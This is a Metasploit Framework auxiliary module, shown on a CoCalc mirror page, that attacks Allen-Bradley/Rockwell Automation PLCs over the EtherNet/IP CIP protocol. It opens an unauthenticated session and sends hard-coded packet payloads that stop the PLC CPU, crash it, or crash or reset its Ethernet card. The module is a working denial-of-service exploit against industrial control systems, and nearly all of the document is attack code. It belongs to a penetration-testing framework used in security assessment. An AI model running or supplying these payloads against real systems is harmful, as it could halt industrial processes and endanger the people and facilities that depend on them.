CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/multi_cip_command.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Rex::Socket::Tcp
9
10
def initialize(info={})
11
super(update_info(info,
12
'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
13
'Description' => %q{
14
The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
15
implements the protocol. This module implements the CPU STOP command, as well as
16
the ability to crash the Ethernet card in an affected device.
17
18
This module is based on the original 'ethernetip-multi.rb' Basecamp module
19
from DigitalBond.
20
},
21
'Author' =>
22
[
23
'Ruben Santamarta <ruben[at]reversemode.com>',
24
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
25
'todb' # Metasploit fixups
26
],
27
'License' => MSF_LICENSE,
28
'References' =>
29
[
30
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
31
],
32
'DisclosureDate' => '2012-01-19'))
33
34
register_options(
35
[
36
Opt::RPORT(44818),
37
# Note that OptEnum is case sensitive
38
OptEnum.new("ATTACK", [true, "The attack to use.", "STOPCPU",
39
[
40
"STOPCPU",
41
"CRASHCPU",
42
"CRASHETHER",
43
"RESETETHER"
44
]
45
])
46
], self.class
47
)
48
end
49
50
def run
51
attack = datastore["ATTACK"]
52
print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."
53
sid = req_session
54
if sid
55
forge_packet(sid, payload(attack))
56
print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."
57
end
58
end
59
60
def forge_packet(sessionid, payload)
61
packet = ""
62
packet += "\x6f\x00" # command: Send request/reply data
63
packet += [payload.size - 0x10].pack("v") # encap length (2 bytes)
64
packet += [sessionid].pack("N") # session identifier (4 bytes)
65
packet += payload #payload part
66
begin
67
sock.put(packet)
68
rescue ::Interrupt
69
print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
70
raise $!
71
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
72
print_error("#{rhost}:#{rport} - CIP - Network error during payload")
73
return nil
74
end
75
end
76
77
def req_session
78
begin
79
connect
80
packet = ""
81
packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)
82
packet += "\x04\x00" # encaph_length (2 bytes)
83
packet += "\x00\x00\x00\x00" # session identifier (4 bytes)
84
packet += "\x00\x00\x00\x00" # status code (4 bytes)
85
packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)
86
packet += "\x00\x00\x00\x00" # options flags (4 bytes)
87
packet += "\x01\x00" # proto (2 bytes)
88
packet += "\x00\x00" # flags (2 bytes)
89
sock.put(packet)
90
response = sock.get_once
91
if response
92
session_id = response[4..8].unpack("N")[0] rescue nil# bare minimum of parsing done
93
if session_id
94
print_status("#{rhost}:#{rport} - CIP - Got session id: 0x"+session_id.to_s(16))
95
else
96
print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")
97
return nil
98
end
99
else
100
raise ::Rex::ConnectionTimeout
101
end
102
rescue ::Interrupt
103
print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotiation")
104
raise $!
105
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
106
print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
107
return nil
108
end
109
return session_id
110
end
111
112
def cleanup
113
disconnect rescue nil
114
end
115
116
def payload(attack)
117
case attack
118
when "STOPCPU"
119
payload = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #encapsulation -[payload.size-0x10]-
120
"\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + #packet1
121
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + #packet2
122
"\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00" #packet3
123
when "CRASHCPU"
124
payload = "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" +
125
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" +
126
"\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"
127
when "CRASHETHER"
128
payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" +
129
"\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"
130
when "RESETETHER"
131
payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" +
132
"\x05\x03\x20\x01\x24\x01\x30\x03"
133
else
134
print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")
135
return nil
136
end
137
end
138
end
139
140